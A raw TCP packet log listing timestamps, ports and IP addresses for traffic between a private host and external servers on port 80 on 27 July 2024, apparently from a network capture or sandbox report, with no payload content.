Jul 27, 2024 05:39:16.829447031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829457998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829480886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829490900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829514027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829524040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829545975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829555988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829579115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829586983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829622984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829628944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829658031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829672098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829691887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829711914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829727888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829735994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829761028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829771996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829794884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829804897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829827070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829838037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829860926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829869032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829890966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829900026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829938889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829971075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829976082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829993963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830003023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830018044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830037117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830048084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830070019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830080986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830104113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830117941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830136061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830147028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830169916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830180883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830203056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830214977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830236912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830252886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830270052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830281973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830302954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830312014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830338001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.830348969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.830396891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839466095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839497089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839539051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839581966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839589119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839622974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839634895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839654922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839665890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839689970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839701891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839725018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839739084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839759111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839768887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839819908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839868069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839914083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839920044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.839967012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.839968920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840013981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840020895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840070963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840075970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840104103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840116024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840137959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840147972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840171099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840195894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840203047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840219021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840234995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840250969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840267897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840280056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840300083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840312958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840333939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840343952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840365887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840380907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840399027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.840410948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.840446949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.875899076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.875966072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.875976086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876000881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876009941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876035929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876046896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876070976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876080990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876104116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876113892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876138926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876159906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876173019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876187086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876208067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876216888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876243114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876254082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876279116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876286983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876312971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876323938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876348019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876355886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876385927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.876390934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.876429081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909636974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909677029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909702063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909714937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909718990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909745932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909745932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909761906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909770012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909785986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909801006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909810066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909818888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909825087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909833908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909852982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909859896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909861088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909873009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909876108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909892082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909900904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909913063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909917116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909934044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909944057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909950018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909955978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909965992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.909975052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.909991980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.910000086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918371916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918416977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918430090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918433905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918458939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918467999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918495893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918512106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918528080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918535948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918545008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918548107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918567896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918585062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918678045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918694019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918709993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918720007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918735027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918740988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918751001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918752909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918767929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918775082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918792009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918792009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918801069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918816090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918836117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918838978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918854952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918872118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918879032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918881893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918895960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918900013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918911934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918917894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918927908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918939114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918942928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918956995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918967962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.918967962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918981075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.918983936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919001102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919006109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919017076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919024944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919033051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919042110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919049025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919054031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919074059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919081926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919086933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919120073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919122934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919137001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919162035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919186115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919197083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919217110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919233084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919239998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919258118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919265032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919343948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919368982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919384956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919384003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919401884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919408083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919419050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919426918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919435024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919445038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919462919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919465065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919475079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919485092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919500113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919508934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919517994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919527054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919539928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919558048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919567108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919590950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919605970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919605970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919621944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919632912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919637918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919661045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919672966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919719934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919734955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919749022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919760942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919770956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919771910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919784069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919811964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919819117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919857025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919858932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919872999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919895887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919902086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919908047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919919014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919934988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919944048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919950008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.919960976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919971943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.919990063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.920017958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.920059919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.920075893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.920090914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.920105934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.920118093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.920130968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.920160055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930254936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930305958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930330992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930340052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930351973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930372953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930381060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930408001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930416107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930443048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930452108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930479050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930490017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930512905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930526018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930546999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930560112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930579901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930596113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930624962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930632114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930664062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930680037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930702925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930708885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930748940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930753946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930788040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930799007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930820942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930830956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930855036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930866957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930888891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930902958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930923939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930953979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930957079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930970907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.930990934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.930998087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.931025028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.931036949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.931068897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.943327904 CEST	80	49483	185.215.113.19	192.168.2.4
